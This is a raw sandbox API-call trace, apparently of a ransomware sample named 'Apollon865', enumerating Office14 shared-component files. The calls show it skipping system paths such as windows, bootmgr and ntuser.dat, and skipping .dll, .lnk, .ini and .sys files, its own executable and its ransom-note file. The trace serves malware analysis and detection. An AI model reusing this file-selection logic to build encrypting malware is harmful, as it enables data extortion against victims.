	[0075.480] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.480] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.480] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.480] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0075.480] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0075.481] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0075.481] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0075.481] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0075.481] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0075.481] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0075.481] lstrlenW (lpString="1033") returned 4
	[0075.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*") returned 57
	[0075.481] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0075.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0075.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf5f0
	[0075.481] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0075.481] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="Apollon865.txt.exe") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".") returned 1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="..") returned 1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="windows") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="bootmgr") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="temp") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="pagefile.sys") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="boot") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ids.txt") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="ntuser.dat") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="perflogs") returned -1
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2="MSBuild") returned -1
	[0075.481] lstrlenW (lpString="ACECORE.DLL") returned 11
	[0075.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned 60
	[0075.481] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACECORE.DLL" | out: lpString1="ACECORE.DLL") returned="ACECORE.DLL"
	[0075.481] lstrlenW (lpString="ACECORE.DLL") returned 11
	[0075.481] lstrlenW (lpString="Apollon865") returned 10
	[0075.481] lstrcmpiW (lpString1="CECORE.DLL", lpString2="Apollon865") returned 1
	[0075.481] lstrlenW (lpString=".dll") returned 4
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".dll") returned 1
	[0075.481] lstrlenW (lpString=".lnk") returned 4
	[0075.481] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".lnk") returned 1
	[0075.482] lstrlenW (lpString=".ini") returned 4
	[0075.482] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".ini") returned 1
	[0075.482] lstrlenW (lpString=".sys") returned 4
	[0075.482] lstrcmpiW (lpString1="ACECORE.DLL", lpString2=".sys") returned 1
	[0075.482] lstrlenW (lpString="ACECORE.DLL") returned 11
	[0075.482] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEDAO.DLL" | out: lpString1="ACEDAO.DLL") returned="ACEDAO.DLL"
	[0075.482] lstrlenW (lpString="ACEDAO.DLL") returned 10
	[0075.482] lstrlenW (lpString="Apollon865") returned 10
	[0075.482] lstrlenW (lpString=".dll") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".dll") returned 1
	[0075.482] lstrlenW (lpString=".lnk") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".lnk") returned 1
	[0075.482] lstrlenW (lpString=".ini") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".ini") returned 1
	[0075.482] lstrlenW (lpString=".sys") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".sys") returned 1
	[0075.482] lstrlenW (lpString="ACEDAO.DLL") returned 10
	[0075.482] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEERR.DLL" | out: lpString1="ACEERR.DLL") returned="ACEERR.DLL"
	[0075.482] lstrlenW (lpString="ACEERR.DLL") returned 10
	[0075.482] lstrlenW (lpString="Apollon865") returned 10
	[0075.482] lstrlenW (lpString=".dll") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".dll") returned 1
	[0075.482] lstrlenW (lpString=".lnk") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".lnk") returned 1
	[0075.482] lstrlenW (lpString=".ini") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".ini") returned 1
	[0075.482] lstrlenW (lpString=".sys") returned 4
	[0075.482] lstrcmpiW (lpString1="ACEERR.DLL", lpString2=".sys") returned 1
	[0075.482] lstrlenW (lpString="ACEERR.DLL") returned 10
	[0075.483] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEES.DLL" | out: lpString1="ACEES.DLL") returned="ACEES.DLL"
	[0075.483] lstrlenW (lpString="ACEES.DLL") returned 9
	[0075.483] lstrlenW (lpString="Apollon865") returned 10
	[0075.483] lstrlenW (lpString=".dll") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".dll") returned 1
	[0075.483] lstrlenW (lpString=".lnk") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".lnk") returned 1
	[0075.483] lstrlenW (lpString=".ini") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".ini") returned 1
	[0075.483] lstrlenW (lpString=".sys") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEES.DLL", lpString2=".sys") returned 1
	[0075.483] lstrlenW (lpString="ACEES.DLL") returned 9
	[0075.483] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEEXCH.DLL" | out: lpString1="ACEEXCH.DLL") returned="ACEEXCH.DLL"
	[0075.483] lstrlenW (lpString="ACEEXCH.DLL") returned 11
	[0075.483] lstrlenW (lpString="Apollon865") returned 10
	[0075.483] lstrcmpiW (lpString1="CEEXCH.DLL", lpString2="Apollon865") returned 1
	[0075.483] lstrlenW (lpString=".dll") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".dll") returned 1
	[0075.483] lstrlenW (lpString=".lnk") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".lnk") returned 1
	[0075.483] lstrlenW (lpString=".ini") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".ini") returned 1
	[0075.483] lstrlenW (lpString=".sys") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEEXCH.DLL", lpString2=".sys") returned 1
	[0075.483] lstrlenW (lpString="ACEEXCH.DLL") returned 11
	[0075.483] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEEXCL.DLL" | out: lpString1="ACEEXCL.DLL") returned="ACEEXCL.DLL"
	[0075.483] lstrlenW (lpString="ACEEXCL.DLL") returned 11
	[0075.483] lstrlenW (lpString="Apollon865") returned 10
	[0075.483] lstrcmpiW (lpString1="CEEXCL.DLL", lpString2="Apollon865") returned 1
	[0075.483] lstrlenW (lpString=".dll") returned 4
	[0075.483] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".dll") returned 1
	[0075.484] lstrlenW (lpString=".lnk") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".lnk") returned 1
	[0075.484] lstrlenW (lpString=".ini") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".ini") returned 1
	[0075.484] lstrlenW (lpString=".sys") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEEXCL.DLL", lpString2=".sys") returned 1
	[0075.484] lstrlenW (lpString="ACEEXCL.DLL") returned 11
	[0075.484] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEODBC.DLL" | out: lpString1="ACEODBC.DLL") returned="ACEODBC.DLL"
	[0075.484] lstrlenW (lpString="ACEODBC.DLL") returned 11
	[0075.484] lstrlenW (lpString="Apollon865") returned 10
	[0075.484] lstrcmpiW (lpString1="CEODBC.DLL", lpString2="Apollon865") returned 1
	[0075.484] lstrlenW (lpString=".dll") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".dll") returned 1
	[0075.484] lstrlenW (lpString=".lnk") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".lnk") returned 1
	[0075.484] lstrlenW (lpString=".ini") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".ini") returned 1
	[0075.484] lstrlenW (lpString=".sys") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODBC.DLL", lpString2=".sys") returned 1
	[0075.484] lstrlenW (lpString="ACEODBC.DLL") returned 11
	[0075.484] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEODDBS.DLL" | out: lpString1="ACEODDBS.DLL") returned="ACEODDBS.DLL"
	[0075.484] lstrlenW (lpString="ACEODDBS.DLL") returned 12
	[0075.484] lstrlenW (lpString="Apollon865") returned 10
	[0075.484] lstrcmpiW (lpString1="EODDBS.DLL", lpString2="Apollon865") returned 1
	[0075.484] lstrlenW (lpString=".dll") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".dll") returned 1
	[0075.484] lstrlenW (lpString=".lnk") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".lnk") returned 1
	[0075.484] lstrlenW (lpString=".ini") returned 4
	[0075.484] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".ini") returned 1
	[0075.484] lstrlenW (lpString=".sys") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODDBS.DLL", lpString2=".sys") returned 1
	[0075.485] lstrlenW (lpString="ACEODDBS.DLL") returned 12
	[0075.485] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEODEXL.DLL" | out: lpString1="ACEODEXL.DLL") returned="ACEODEXL.DLL"
	[0075.485] lstrlenW (lpString="ACEODEXL.DLL") returned 12
	[0075.485] lstrlenW (lpString="Apollon865") returned 10
	[0075.485] lstrcmpiW (lpString1="EODEXL.DLL", lpString2="Apollon865") returned 1
	[0075.485] lstrlenW (lpString=".dll") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".dll") returned 1
	[0075.485] lstrlenW (lpString=".lnk") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".lnk") returned 1
	[0075.485] lstrlenW (lpString=".ini") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".ini") returned 1
	[0075.485] lstrlenW (lpString=".sys") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODEXL.DLL", lpString2=".sys") returned 1
	[0075.485] lstrlenW (lpString="ACEODEXL.DLL") returned 12
	[0075.485] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEODTXT.DLL" | out: lpString1="ACEODTXT.DLL") returned="ACEODTXT.DLL"
	[0075.485] lstrlenW (lpString="ACEODTXT.DLL") returned 12
	[0075.485] lstrlenW (lpString="Apollon865") returned 10
	[0075.485] lstrcmpiW (lpString1="EODTXT.DLL", lpString2="Apollon865") returned 1
	[0075.485] lstrlenW (lpString=".dll") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".dll") returned 1
	[0075.485] lstrlenW (lpString=".lnk") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".lnk") returned 1
	[0075.485] lstrlenW (lpString=".ini") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".ini") returned 1
	[0075.485] lstrlenW (lpString=".sys") returned 4
	[0075.485] lstrcmpiW (lpString1="ACEODTXT.DLL", lpString2=".sys") returned 1
	[0075.485] lstrlenW (lpString="ACEODTXT.DLL") returned 12
	[0075.485] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEOLEDB.DLL" | out: lpString1="ACEOLEDB.DLL") returned="ACEOLEDB.DLL"
	[0075.486] lstrlenW (lpString="ACEOLEDB.DLL") returned 12
	[0075.486] lstrlenW (lpString="Apollon865") returned 10
	[0075.486] lstrcmpiW (lpString1="EOLEDB.DLL", lpString2="Apollon865") returned 1
	[0075.486] lstrlenW (lpString=".dll") returned 4
	[0075.486] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".dll") returned 1
	[0075.486] lstrlenW (lpString=".lnk") returned 4
	[0075.486] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".lnk") returned 1
	[0075.486] lstrlenW (lpString=".ini") returned 4
	[0075.486] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".ini") returned 1
	[0075.486] lstrlenW (lpString=".sys") returned 4
	[0075.486] lstrcmpiW (lpString1="ACEOLEDB.DLL", lpString2=".sys") returned 1
	[0075.486] lstrlenW (lpString="ACEOLEDB.DLL") returned 12
	[0075.486] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACER3X.DLL" | out: lpString1="ACER3X.DLL") returned="ACER3X.DLL"
	[0075.486] lstrlenW (lpString="ACER3X.DLL") returned 10
	[0075.486] lstrlenW (lpString="Apollon865") returned 10
	[0075.486] lstrlenW (lpString=".dll") returned 4
	[0075.486] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".dll") returned 1
	[0075.486] lstrlenW (lpString=".lnk") returned 4
	[0075.486] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".lnk") returned 1
	[0075.486] lstrlenW (lpString=".ini") returned 4
	[0075.486] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".ini") returned 1
	[0075.486] lstrlenW (lpString=".sys") returned 4
	[0075.486] lstrcmpiW (lpString1="ACER3X.DLL", lpString2=".sys") returned 1
	[0075.486] lstrlenW (lpString="ACER3X.DLL") returned 10
	[0075.486] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACERCLR.DLL" | out: lpString1="ACERCLR.DLL") returned="ACERCLR.DLL"
	[0075.486] lstrlenW (lpString="ACERCLR.DLL") returned 11
	[0075.486] lstrlenW (lpString="Apollon865") returned 10
	[0075.486] lstrcmpiW (lpString1="CERCLR.DLL", lpString2="Apollon865") returned 1
	[0075.486] lstrlenW (lpString=".dll") returned 4
	[0075.486] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".lnk") returned 4
	[0075.487] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".lnk") returned 1
	[0075.487] lstrlenW (lpString=".ini") returned 4
	[0075.487] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".ini") returned 1
	[0075.487] lstrlenW (lpString=".sys") returned 4
	[0075.487] lstrcmpiW (lpString1="ACERCLR.DLL", lpString2=".sys") returned 1
	[0075.487] lstrlenW (lpString="ACERCLR.DLL") returned 11
	[0075.487] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEREP.DLL" | out: lpString1="ACEREP.DLL") returned="ACEREP.DLL"
	[0075.487] lstrlenW (lpString="ACEREP.DLL") returned 10
	[0075.487] lstrlenW (lpString="Apollon865") returned 10
	[0075.487] lstrlenW (lpString=".dll") returned 4
	[0075.487] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".lnk") returned 4
	[0075.487] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".lnk") returned 1
	[0075.487] lstrlenW (lpString=".ini") returned 4
	[0075.487] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".ini") returned 1
	[0075.487] lstrlenW (lpString=".sys") returned 4
	[0075.487] lstrcmpiW (lpString1="ACEREP.DLL", lpString2=".sys") returned 1
	[0075.487] lstrlenW (lpString="ACEREP.DLL") returned 10
	[0075.487] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACETXT.DLL" | out: lpString1="ACETXT.DLL") returned="ACETXT.DLL"
	[0075.487] lstrlenW (lpString="ACETXT.DLL") returned 10
	[0075.487] lstrlenW (lpString="Apollon865") returned 10
	[0075.487] lstrlenW (lpString=".dll") returned 4
	[0075.487] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".lnk") returned 4
	[0075.487] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".lnk") returned 1
	[0075.487] lstrlenW (lpString=".ini") returned 4
	[0075.487] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".ini") returned 1
	[0075.487] lstrlenW (lpString=".sys") returned 4
	[0075.487] lstrcmpiW (lpString1="ACETXT.DLL", lpString2=".sys") returned 1
	[0075.487] lstrlenW (lpString="ACETXT.DLL") returned 10
	[0075.488] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEWDAT.DLL" | out: lpString1="ACEWDAT.DLL") returned="ACEWDAT.DLL"
	[0075.488] lstrlenW (lpString="ACEWDAT.DLL") returned 11
	[0075.488] lstrlenW (lpString="Apollon865") returned 10
	[0075.488] lstrcmpiW (lpString1="CEWDAT.DLL", lpString2="Apollon865") returned 1
	[0075.488] lstrlenW (lpString=".dll") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString=".lnk") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".lnk") returned 1
	[0075.488] lstrlenW (lpString=".ini") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".ini") returned 1
	[0075.488] lstrlenW (lpString=".sys") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWDAT.DLL", lpString2=".sys") returned 1
	[0075.488] lstrlenW (lpString="ACEWDAT.DLL") returned 11
	[0075.488] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEWSS.DLL" | out: lpString1="ACEWSS.DLL") returned="ACEWSS.DLL"
	[0075.488] lstrlenW (lpString="ACEWSS.DLL") returned 10
	[0075.488] lstrlenW (lpString="Apollon865") returned 10
	[0075.488] lstrlenW (lpString=".dll") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString=".lnk") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".lnk") returned 1
	[0075.488] lstrlenW (lpString=".ini") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".ini") returned 1
	[0075.488] lstrlenW (lpString=".sys") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEWSS.DLL", lpString2=".sys") returned 1
	[0075.488] lstrlenW (lpString="ACEWSS.DLL") returned 10
	[0075.488] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ACEXBE.DLL" | out: lpString1="ACEXBE.DLL") returned="ACEXBE.DLL"
	[0075.488] lstrlenW (lpString="ACEXBE.DLL") returned 10
	[0075.488] lstrlenW (lpString="Apollon865") returned 10
	[0075.488] lstrlenW (lpString=".dll") returned 4
	[0075.488] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString=".lnk") returned 4
	[0075.489] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".lnk") returned 1
	[0075.489] lstrlenW (lpString=".ini") returned 4
	[0075.489] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".ini") returned 1
	[0075.489] lstrlenW (lpString=".sys") returned 4
	[0075.489] lstrcmpiW (lpString1="ACEXBE.DLL", lpString2=".sys") returned 1
	[0075.489] lstrlenW (lpString="ACEXBE.DLL") returned 10
	[0075.489] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="ATLCONV.DLL" | out: lpString1="ATLCONV.DLL") returned="ATLCONV.DLL"
	[0075.489] lstrlenW (lpString="ATLCONV.DLL") returned 11
	[0075.489] lstrlenW (lpString="Apollon865") returned 10
	[0075.489] lstrcmpiW (lpString1="TLCONV.DLL", lpString2="Apollon865") returned 1
	[0075.489] lstrlenW (lpString=".dll") returned 4
	[0075.489] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".dll") returned 1
	[0075.489] lstrlenW (lpString=".lnk") returned 4
	[0075.489] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".lnk") returned 1
	[0075.489] lstrlenW (lpString=".ini") returned 4
	[0075.489] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".ini") returned 1
	[0075.489] lstrlenW (lpString=".sys") returned 4
	[0075.489] lstrcmpiW (lpString1="ATLCONV.DLL", lpString2=".sys") returned 1
	[0075.489] lstrlenW (lpString="ATLCONV.DLL") returned 11
	[0075.489] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Csi.dll" | out: lpString1="Csi.dll") returned="Csi.dll"
	[0075.489] lstrlenW (lpString="Csi.dll") returned 7
	[0075.489] lstrlenW (lpString="Apollon865") returned 10
	[0075.490] lstrlenW (lpString=".dll") returned 4
	[0075.490] lstrcmpiW (lpString1="Csi.dll", lpString2=".dll") returned 1
	[0075.490] lstrlenW (lpString=".lnk") returned 4
	[0075.490] lstrcmpiW (lpString1="Csi.dll", lpString2=".lnk") returned 1
	[0075.490] lstrlenW (lpString=".ini") returned 4
	[0075.490] lstrcmpiW (lpString1="Csi.dll", lpString2=".ini") returned 1
	[0075.490] lstrlenW (lpString=".sys") returned 4
	[0075.490] lstrcmpiW (lpString1="Csi.dll", lpString2=".sys") returned 1
	[0075.490] lstrlenW (lpString="Csi.dll") returned 7
	[0075.490] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="CsiSoap.dll" | out: lpString1="CsiSoap.dll") returned="CsiSoap.dll"
	[0075.490] lstrlenW (lpString="CsiSoap.dll") returned 11
	[0075.490] lstrlenW (lpString="Apollon865") returned 10
	[0075.490] lstrcmpiW (lpString1="siSoap.dll", lpString2="Apollon865") returned 1
	[0075.490] lstrlenW (lpString=".dll") returned 4
	[0075.490] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".dll") returned 1
	[0075.490] lstrlenW (lpString=".lnk") returned 4
	[0075.490] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".lnk") returned 1
	[0075.490] lstrlenW (lpString=".ini") returned 4
	[0075.490] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".ini") returned 1
	[0075.490] lstrlenW (lpString=".sys") returned 4
	[0075.490] lstrcmpiW (lpString1="CsiSoap.dll", lpString2=".sys") returned 1
	[0075.490] lstrlenW (lpString="CsiSoap.dll") returned 11
	[0075.490] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Cultures" | out: lpString1="Cultures") returned="Cultures"
	[0075.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0075.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0075.490] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0075.490] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0075.490] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.490] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0075.490] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".") returned 1
	[0075.490] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="..") returned 1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="windows") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="bootmgr") returned 1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="temp") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="pagefile.sys") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="boot") returned 1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="ids.txt") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="ntuser.dat") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="perflogs") returned -1
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="MSBuild") returned -1
	[0075.491] lstrlenW (lpString="EXPSRV.DLL") returned 10
	[0075.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned 64
	[0075.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EXPSRV.DLL" | out: lpString1="EXPSRV.DLL") returned="EXPSRV.DLL"
	[0075.491] lstrlenW (lpString="EXPSRV.DLL") returned 10
	[0075.491] lstrlenW (lpString="Apollon865") returned 10
	[0075.491] lstrlenW (lpString=".dll") returned 4
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".dll") returned 1
	[0075.491] lstrlenW (lpString=".lnk") returned 4
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".lnk") returned 1
	[0075.491] lstrlenW (lpString=".ini") returned 4
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".ini") returned 1
	[0075.491] lstrlenW (lpString=".sys") returned 4
	[0075.491] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".sys") returned 1
	[0075.491] lstrlenW (lpString="EXPSRV.DLL") returned 10
	[0075.491] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="EXP_PDF.DLL" | out: lpString1="EXP_PDF.DLL") returned="EXP_PDF.DLL"
	[0075.491] lstrlenW (lpString="EXP_PDF.DLL") returned 11
	[0075.491] lstrlenW (lpString="Apollon865") returned 10
	[0075.491] lstrcmpiW (lpString1="XP_PDF.DLL", lpString2="Apollon865") returned 1
	[0075.491] lstrlenW (lpString=".dll") returned 4
	[0075.491] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".dll") returned 1
	[0075.491] lstrlenW (lpString=".lnk") returned 4
	[0075.491] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".lnk") returned 1
	[0075.491] lstrlenW (lpString=".ini") returned 4
